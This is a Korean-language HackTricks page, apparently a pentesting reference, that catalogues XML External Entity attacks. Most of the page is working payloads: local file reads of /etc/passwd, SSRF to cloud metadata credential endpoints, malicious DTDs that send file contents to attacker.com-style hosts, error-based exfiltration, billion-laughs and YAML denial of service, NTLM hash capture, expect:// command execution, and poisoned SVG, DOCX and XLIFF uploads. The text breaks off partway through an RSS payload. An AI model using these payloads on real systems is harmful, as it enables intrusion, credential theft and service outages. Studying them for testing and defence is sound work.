37 KiB
XXE - XEE - XML External Entity
htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요!
HackTricks를 지원하는 다른 방법:
- 회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm을 팔로우하세요.
- HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
XML 기본 사항
XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 기술적으로 명명된 태그의 사용을 허용하는 유연한 구조를 갖추고 있습니다. 미리 정의된 태그 집합에 제한받지 않는 HTML과 다릅니다. JSON의 등장으로 XML의 중요성은 하락했지만, AJAX 기술에서 초기 역할을 한 바 있습니다.
- Entity를 통한 데이터 표현: XML의 Entity는
<
와>
에 해당하는<
및>
와 같은 특수 문자를 포함하여 데이터를 표현할 수 있습니다. 이는 XML의 태그 시스템과 충돌을 피하기 위한 것입니다. - XML 요소 정의: XML은 요소 유형을 정의하여 요소가 어떻게 구성되어야 하는지 및 어떤 내용을 포함할 수 있는지를 개요화합니다. 어떤 유형의 내용에서부터 특정 자식 요소까지 다양한 내용을 포함할 수 있습니다.
- 문서 유형 정의 (DTD): DTD는 문서의 구조와 포함할 수 있는 데이터 유형을 정의하는 데 XML에서 중요합니다. 내부, 외부 또는 조합일 수 있으며, 문서의 형식 및 유효성을 지정하는 데 도움을 줍니다.
- 사용자 지정 및 외부 Entity: XML은 유연한 데이터 표현을 위해 DTD 내에서 사용자 지정 Entity를 지원합니다. URL로 정의된 외부 Entity는 특히 XML External Entity (XXE) 공격 문맥에서 보안 문제를 일으키며, XML 파서가 외부 데이터 소스를 처리하는 방식을 악용합니다:
<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
- 매개변수 Entity를 사용한 XXE 탐지: 일반적인 방법이 파서 보안 조치로 인해 실패할 때 특히 XXE 취약점을 탐지하기 위해 XML 매개변수 Entity를 활용할 수 있습니다. 이러한 Entity를 사용하면 DNS 조회 또는 제어된 도메인으로의 HTTP 요청을 트리거하는 등의 외부 방식의 탐지 기술을 사용하여 취약점을 확인할 수 있습니다.
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>
주요 공격
이러한 대부분의 공격은 멋진 Portswiggers XEE 랩을 사용하여 테스트되었습니다: https://portswigger.net/web-security/xxe
새 Entity 테스트
이 공격에서는 간단한 새 ENTITY 선언이 작동하는지 테스트합니다.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
파일 읽기
다양한 방법으로 /etc/passwd
파일을 읽어 보겠습니다. Windows의 경우 다음을 시도해 볼 수 있습니다: C:\windows\system32\drivers\etc\hosts
이 첫 번째 경우에는 SYSTEM "**file:///**etc/passwd"도 작동합니다.
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
이 두 번째 경우는 웹 서버가 PHP를 사용하는 경우 파일을 추출하는 데 유용할 것입니다 (Portswiggers 랩의 경우가 아님)
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
Case 3: Declaring the Element as ANY
이 세 번째 경우에는 Element stockCheck
을 ANY
로 선언하고 있음을 주목하십시오.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
디렉토리 목록
Java 기반 애플리케이션에서는 다음과 같은 페이로드를 사용하여 XXE를 통해 디렉토리 내용을 나열할 수 있습니다(파일 대신 디렉토리를 요청하는 것만 있음):
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
SSRF
XXE를 사용하여 클라우드 내부에서 SSRF를 악용할 수 있습니다.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Blind SSRF
이전에 설명된 기술을 사용하여 서버가 취약점을 보여주도록 제어할 수 있습니다. 그러나 작동하지 않는 경우 XML 엔티티가 허용되지 않을 수 있습니다. 이 경우 XML 매개 변수 엔티티를 사용해 볼 수 있습니다:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
"Blind" SSRF - 데이터 외부 전송
이번에는 서버가 악성 페이로드가 포함된 새 DTD를 로드하도록하여 파일의 내용을 HTTP 요청을 통해 전송하게 만들 것입니다 (여러 줄로 된 파일의 경우 xxe-ftp-server.rb와 같은 기본 서버를 사용하여 _ftp://_를 통해 데이터를 외부로 유출할 수 있습니다). 이 설명은 Portswiggers lab here를 기반으로 합니다.
악성 DTD에서 데이터를 외부로 전송하기 위해 일련의 단계가 수행됩니다:
악성 DTD 예시:
구조는 다음과 같습니다:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
-
매개 변수 엔티티 정의:
- XML 매개 변수 엔티티
%file
가 생성되어/etc/hostname
파일의 내용을 읽음. - 다른 XML 매개 변수 엔티티
%eval
이 정의됨. 이는 새로운 XML 매개 변수 엔티티%exfiltrate
를 동적으로 선언함.%exfiltrate
엔티티는%file
엔티티의 내용을 URL의 쿼리 문자열 내에서 전달하기 위해 공격자의 서버로 HTTP 요청을 수행함.
- XML 매개 변수 엔티티
-
엔티티 실행:
%eval
엔티티가 사용되어%exfiltrate
엔티티의 동적 선언이 실행됨.- 그런 다음
%exfiltrate
엔티티가 사용되어 파일 내용을 포함한 지정된 URL로 HTTP 요청이 트리거됨.
공격자는 이 악의적인 DTD를 일반적으로 http://web-attacker.com/malicious.dtd
와 같은 URL에서 제어하는 서버에 호스팅함.
XXE 페이로드: 취약한 애플리케이션을 악용하기 위해 공격자는 XXE 페이로드를 전송함:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
이 payload는 XML 파서에서 처리될 때 악성 DTD에 포함된 XML 매개 변수 엔티티 %xxe
를 정의합니다. 이 payload는 공격자의 서버에서 외부 DTD를 가져옵니다. 그럼 파서는 DTD를 인라인으로 해석하고, 악의적인 DTD에 기술된 단계를 실행하여 /etc/hostname
파일을 공격자의 서버로 유출시킵니다.
오류 기반(외부 DTD)
이 경우에는 서버가 오류 메시지 내에서 파일 내용을 표시하는 악성 DTD를 로드하도록 만들 것입니다 (오류 메시지를 볼 수 있는 경우에만 유효합니다). 여기에서 예제를 확인하세요.
악성 외부 Document Type Definition (DTD)를 사용하여 /etc/passwd
파일의 내용을 드러내는 XML 파싱 오류 메시지를 유발할 수 있습니다. 이는 다음 단계를 통해 수행됩니다:
/etc/passwd
파일의 내용을 포함하는file
라는 XML 매개 변수 엔티티가 정의됩니다.eval
이라는 XML 매개 변수 엔티티가 정의되며,error
라는 다른 XML 매개 변수 엔티티에 대한 동적 선언이 포함됩니다. 이error
엔티티는 평가될 때, 존재하지 않는 파일을 로드하려고 시도하며, 그 이름으로file
엔티티의 내용을 포함합니다.eval
엔티티가 호출되어error
엔티티가 동적으로 선언됩니다.error
엔티티의 호출로 인해 존재하지 않는 파일을 로드하려는 시도가 발생하며,/etc/passwd
파일의 내용이 파일 이름의 일부로 포함된 오류 메시지가 생성됩니다.
다음 XML로 악성 외부 DTD를 호출할 수 있습니다:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
에러 기반 (시스템 DTD)
따라서 외부 연결이 차단된 경우 블라인드 XXE 취약점은 어떻게 될까요?
XML 언어 사양의 한 가지 약점은 문서의 DTD가 내부 및 외부 선언을 혼합할 때 에러 메시지를 통해 민감한 데이터가 노출될 수 있다는 것입니다. 이 문제는 외부 DTD를 통해 선언된 엔티티를 내부적으로 재정의하여 에러 기반 XXE 공격을 실행할 수 있도록 합니다. 이러한 공격은 외부 DTD에서 원래 선언된 XML 매개변수 엔티티를 내부 DTD 내에서 재정의함으로써 이루어집니다. 서버에서 외부 연결이 차단된 경우, 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 민감한 정보를 노출시키기 위해 구문 분석 오류를 유발해야 합니다.
서버의 파일 시스템에 /usr/local/app/schema.dtd
경로에 DTD 파일이 포함되어 있고, custom_entity
라는 엔티티를 정의하는 경우, 공격자는 다음과 같이 하이브리드 DTD를 제출하여 /etc/passwd
파일의 내용을 노출시키는 XML 구문 분석 오류를 유발할 수 있습니다:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>
다음은이 DTD에 의해 실행되는 단계입니다:
- 서버 파일 시스템에 위치한 외부 DTD 파일을 포함하는 XML 매개 변수 엔터티 'local_dtd'의 정의가 포함됩니다.
- 'custom_entity' XML 매개 변수 엔터티에 대한 재정의가 발생하며, 원래 외부 DTD에 정의된 내용을 캡슐화하여 오류 기반 XXE 공격을 수행합니다. 이 재정의는 구문 분석 오류를 유발하여 '/etc/passwd' 파일의 내용을 노출시킵니다.
- 'local_dtd' 엔터티를 사용하여 외부 DTD가 참여되며, 새로 정의된 'custom_entity'가 포함됩니다. 이러한 작업 순서는 공격에 의해 목표로 하는 오류 메시지의 발생을 촉발시킵니다.
실제 예시: GNOME 데스크톱 환경을 사용하는 시스템은 종종 '/usr/share/yelp/dtd/docbookx.dtd'에 위치한 DTD를 포함하며 'ISOamso'라는 엔터티를 포함합니다.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
이 기술은 내부 DTD를 사용하므로 먼저 유효한 DTD를 찾아야 합니다. 이를 위해 서버가 사용 중인 OS/소프트웨어를 설치하고 기본 DTD 목록을 찾거나 시스템 내부의 기본 DTD 목록을 가져와 해당하는 것이 있는지 확인할 수 있습니다:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
더 많은 정보는 https://portswigger.net/web-security/xxe/blind에서 확인하세요.
시스템 내부의 DTD 찾기
다음의 멋진 github 레포지토리에서 시스템에 존재할 수 있는 DTD의 경로를 찾을 수 있습니다:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
게다가, 피해 시스템의 Docker 이미지가 있다면, 동일한 레포지토리의 도구를 사용하여 이미지를 스캔하고 시스템 내부에 존재하는 DTD의 경로를 찾을 수 있습니다. 자세한 내용은 github의 Readme를 참조하세요.
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
Office Open XML 파서를 통한 XXE
이 공격에 대한 더 자세한 설명은 Detectify의 이 놀라운 포스트의 두 번째 섹션을 확인하십시오.
많은 웹 애플리케이션이 Microsoft Office 문서를 업로드할 수 있는 기능을 제공하며, 이후 이러한 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션이 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져오도록 허용할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하려면 적어도 하나의 XML 파일을 파싱해야 할 것입니다.
이 취약점을 테스트하려면 XXE 페이로드가 포함된 Microsoft Office 파일을 생성해야 합니다. 첫 번째 단계는 문서를 압축 해제할 수 있는 빈 디렉토리를 생성하는 것입니다.
문서를 압축 해제한 후 ./unzipped/word/document.xml
에 위치한 XML 파일을 선호하는 텍스트 편집기(예: vim)에서 열고 편집해야 합니다. XML을 수정하여 원하는 XXE 페이로드를 포함해야 합니다. 이는 종종 HTTP 요청으로 시작합니다.
수정된 XML 라인은 두 개의 루트 XML 객체 사이에 삽입되어야 합니다. 요청을 모니터링할 수 있는 URL로 URL을 교체하는 것이 중요합니다.
마지막으로, 파일을 압축하여 악성 poc.docx 파일을 생성할 수 있습니다. 이전에 생성된 "unzipped" 디렉토리에서 다음 명령을 실행해야 합니다:
이제 생성된 파일을 잠재적으로 취약한 웹 애플리케이션에 업로드하고, Burp Collaborator 로그에 요청이 나타나기를 기대할 수 있습니다.
Jar: 프로토콜
jar 프로토콜은 Java 애플리케이션 내에서만 접근할 수 있습니다. 이는 PKZIP 아카이브(예: .zip
, .jar
등) 내에서 파일 액세스를 가능하게 하는 것으로, 로컬 및 원격 파일 모두를 처리합니다.
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
{% hint style="danger" %} PKZIP 파일 내부의 파일에 액세스할 수 있는 것은 시스템 DTD 파일을 통해 XXE를 남용하는 데 매우 유용합니다. 이 섹션을 확인하여 시스템 DTD 파일을 남용하는 방법을 배우세요. {% endhint %}
jar 프로토콜을 통해 PKZIP 아카이브 내의 파일에 액세스하는 과정은 다음과 같은 단계를 거칩니다:
- 지정된 위치에서 zip 아카이브를 다운로드하기 위해 HTTP 요청이 수행됩니다. 예:
https://download.website.com/archive.zip
. - 아카이브를 포함한 HTTP 응답이 일시적으로 시스템에 저장됩니다. 일반적으로
/tmp/...
과 같은 위치에 저장됩니다. - 아카이브는 추출되어 내용에 액세스됩니다.
- 아카이브 내의 특정 파일,
file.zip
,이 읽힙니다. - 이 과정 중에 생성된 임시 파일은 삭제됩니다.
두 번째 단계에서 이 프로세스를 중단하는 흥미로운 기술은 아카이브 파일을 제공할 때 서버 연결을 영원히 열어두는 것입니다. 이를 위해 이 저장소에서 제공되는 도구를 활용할 수 있으며, Python 서버(slow_http_server.py
)와 Java 서버(slowserver.jar
)가 포함됩니다.
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
{% hint style="danger" %} 임시 디렉토리에 파일을 작성하면 로컬 파일 포함, 템플릿 삽입, XSLT RCE, 직렬화 등과 관련된 다른 취약점을 확대할 수 있습니다. {% endhint %}
XSS
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
DoS
Billion Laugh Attack
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
Yaml 공격
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
이차 폭발 공격
NTML 가져오기
Windows 호스트에서는 responder.py 핸들러를 설정하여 웹 서버 사용자의 NTML 해시를 가져올 수 있습니다:
Responder.py -I eth0 -v
그리고 다음 요청을 보내면
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
숨겨진 XXE 표면
XInclude
클라이언트 데이터를 서버 측 XML 문서에 통합할 때, 백엔드 SOAP 요청과 같은 경우 XML 구조에 대한 직접적인 제어가 종종 제한되어 기존의 XXE 공격이 DOCTYPE
요소 수정에 대한 제한으로 인해 어려울 수 있습니다. 그러나 XInclude
공격은 XML 문서의 데이터 요소 내에 외부 엔티티를 삽입할 수 있도록 허용하여 이러한 제한을 극복할 수 있습니다. 이 방법은 서버에서 생성된 XML 문서 내의 데이터 일부만 제어할 수 있는 경우에도 효과적입니다.
XInclude
공격을 실행하려면 XInclude
네임스페이스를 선언하고 의도한 외부 엔티티의 파일 경로를 지정해야 합니다. 아래는 이러한 공격을 어떻게 구성할 수 있는지 간결한 예시입니다:
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
https://portswigger.net/web-security/xxe에서 자세한 정보를 확인하세요!
SVG - 파일 업로드
사용자가 특정 응용 프로그램에 업로드한 파일은 서버에서 처리되며, XML 또는 XML을 포함하는 파일 형식이 처리되는 방식에서 취약점을 악용할 수 있습니다. DOCX와 같은 일반 파일 형식 및 이미지 (SVG)는 XML을 기반으로 합니다.
사용자가 이미지를 업로드하면 이러한 이미지가 서버 측에서 처리되거나 유효성이 검사됩니다. PNG 또는 JPEG와 같은 형식을 예상하는 응용 프로그램의 경우에도 서버의 이미지 처리 라이브러리가 SVG 이미지를 지원할 수 있습니다. XML 기반 형식인 SVG는 공격자가 악의적인 SVG 이미지를 제출하여 서버를 XXE (XML External Entity) 취약점에 노출시킬 수 있습니다.
다음은 악의적인 SVG 이미지가 시스템 파일을 읽으려고 시도하는 exploit의 예시입니다:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
다른 방법은 PHP "expect" 래퍼를 통해 명령을 실행하려고 시도하는 것입니다:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
양쪽 모두 SVG 형식을 사용하여 서버 소프트웨어의 XML 처리 기능을 악용하는 공격을 실행하며, 견고한 입력 유효성 검사와 보안 조치의 필요성을 강조합니다.
자세한 정보는 https://portswigger.net/web-security/xxe에서 확인하세요!
첫 번째 줄이 읽은 파일의 내용 또는 실행 결과의 내부에 나타납니다. 따라서 SVG가 생성한 이미지에 액세스할 수 있어야 합니다.
PDF - 파일 업로드
다음 게시물을 읽어보고 PDF 파일을 업로드하여 XXE를 악용하는 방법을 학습하세요:
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}
Content-Type: x-www-urlencoded에서 XML로 변경
POST 요청이 XML 형식의 데이터를 허용하는 경우 해당 요청에서 XXE를 악용할 수 있습니다. 예를 들어, 일반 요청에 다음 내용이 포함된다면:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
그러면 동일한 결과를 얻을 수 있는 다음 요청을 제출할 수 있을 것입니다:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
Content-Type: JSON에서 XEE로
요청을 변경하려면 "Content Type Converter"라는 Burp 확장 프로그램을 사용할 수 있습니다. 여기에서 이 예제를 찾을 수 있습니다:
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
다른 예시는 여기에서 찾을 수 있습니다.
WAF 및 보호 장치 우회
Base64
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
이것은 XML 서버가 data://
프로토콜을 허용하는 경우에만 작동합니다.
UTF-7
[여기에서 사이버셰프의 "인코딩 레시피"를 사용할 수 있습니다.]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)) UTF-7로 변환합니다.
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
파일:/ 프로토콜 우회
웹이 PHP를 사용하는 경우 file:/
대신에 php wrappersphp://filter/convert.base64-encode/resource=
를 사용하여 내부 파일에 액세스할 수 있습니다.
웹이 Java를 사용하는 경우 jar: 프로토콜을 확인할 수 있습니다.
HTML 엔티티
https://github.com/Ambrotd/XXE-Notes에서의 요령
HTML 엔티티를 사용하여 엔티티 내부에 엔티티를 생성하고 dtd를 로드하기 위해 호출할 수 있습니다.
사용된 HTML 엔티티는 숫자여야 합니다(예: [이 예시에서](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>
DTD 예시:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
PHP 래퍼
Base64
추출 index.php
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
외부 리소스 추출
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
원격 코드 실행
만약 PHP "expect" 모듈이 로드되어 있다면
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
SOAP - XEE
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
XLIFF - XXE
이 예제는 https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe에서 영감을 받았습니다.
XLIFF(XML Localization Interchange File Format)는 로컬라이제이션 프로세스에서 데이터 교환을 표준화하는 데 사용됩니다. 주로 로컬라이제이션 도구 간에 로컬라이즈 가능한 데이터를 전송하거나 CAT(Computer-Aided Translation) 도구의 공통 교환 형식으로 사용되는 XML 기반 형식입니다.
Blind Request Analysis
다음 내용으로 서버에 요청이 전송됩니다:
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
그러나 이 요청은 내부 서버 오류를 발생시키며, 구조 선언에 문제가 있다고 명시적으로 언급합니다:
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
오류가 발생했지만 Burp Collaborator에 히트가 기록되어 외부 엔티티와의 상호 작용 수준이 일부 기록됩니다.
외부 데이터 유출을 위해 수정된 요청이 전송됩니다:
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
이 접근 방식은 User Agent가 Java 1.8을 사용한다는 것을 나타냅니다. Java의 이 버전의 주목할 만한 제한 사항은 Out of Band 기술을 사용하여 /etc/passwd와 같은 새 줄 문자를 포함하는 파일을 검색할 수 없다는 것입니다.
오류 기반 데이터 유출 이 제한 사항을 극복하기 위해 오류 기반 접근 방식이 사용됩니다. DTD 파일은 다음과 같이 구성되어 있어서 대상 파일에서 데이터를 포함하는 오류를 유발합니다:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
서버는 오류로 응답하며 존재하지 않는 파일을 반영하므로 서버가 지정된 파일에 액세스하려고 시도하고 있음을 나타냅니다:
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
에러 메시지에 파일 내용을 포함하려면 DTD 파일을 조정합니다:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
이 수정으로 인해 파일 내용이 성공적으로 유출되며, 이는 HTTP를 통해 전송된 오류 출력에 반영됩니다. 이는 민감한 정보를 추출하기 위해 Out of Band 및 Error-Based 기술을 활용한 성공적인 XXE (XML External Entity) 공격을 나타냅니다.
RSS - XEE
XXE 취약점을 악용하기 위한 유효한 RSS 형식의 XML.
Ping back
공격자 서버로의 간단한 HTTP 요청
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
